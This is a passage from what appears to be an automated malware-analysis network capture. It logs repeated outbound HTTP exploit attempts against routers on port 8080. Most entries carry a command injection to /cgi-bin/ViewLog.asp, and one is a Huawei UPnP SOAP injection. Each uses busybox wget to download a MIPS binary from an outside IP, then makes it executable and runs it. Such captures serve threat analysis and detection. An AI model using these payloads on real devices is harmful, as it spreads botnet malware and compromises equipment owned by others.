70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:11.768851995 CET	236	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.13	34118	94.121.112.66	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:11.554368019 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.13	55226	62.174.26.217	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:11.607096910 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.13	41312	31.136.182.7	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:11.737785101 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:12.294536114 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:13.414498091 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:15.654531002 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:20.262511015 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:29.222491026 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:48.166496992 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:25.030466080 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.13	42206	31.136.242.121	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:11.740991116 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:12.326524019 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:13.478615999 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:15.910635948 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:20.518501997 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:29.734545946 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:48.166429996 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:25.030560017 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.13	48022	94.153.204.17	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:11.774476051 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:11.991992950 CET	556	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:16:11 GMT Server: Apache Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.13	59026	85.31.235.97	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:11.890223980 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:12.041253090 CET	345	IN	HTTP/1.1 404 Not Found Content-Security-Policy: frame-src 'self' https://traefik.io https://*.traefik.io; Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Thu, 23 Nov 2023 04:16:11 GMT Content-Length: 19 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.13	51974	85.69.23.44	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:11.916188955 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:12.454503059 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:13.542598963 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:15.910620928 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
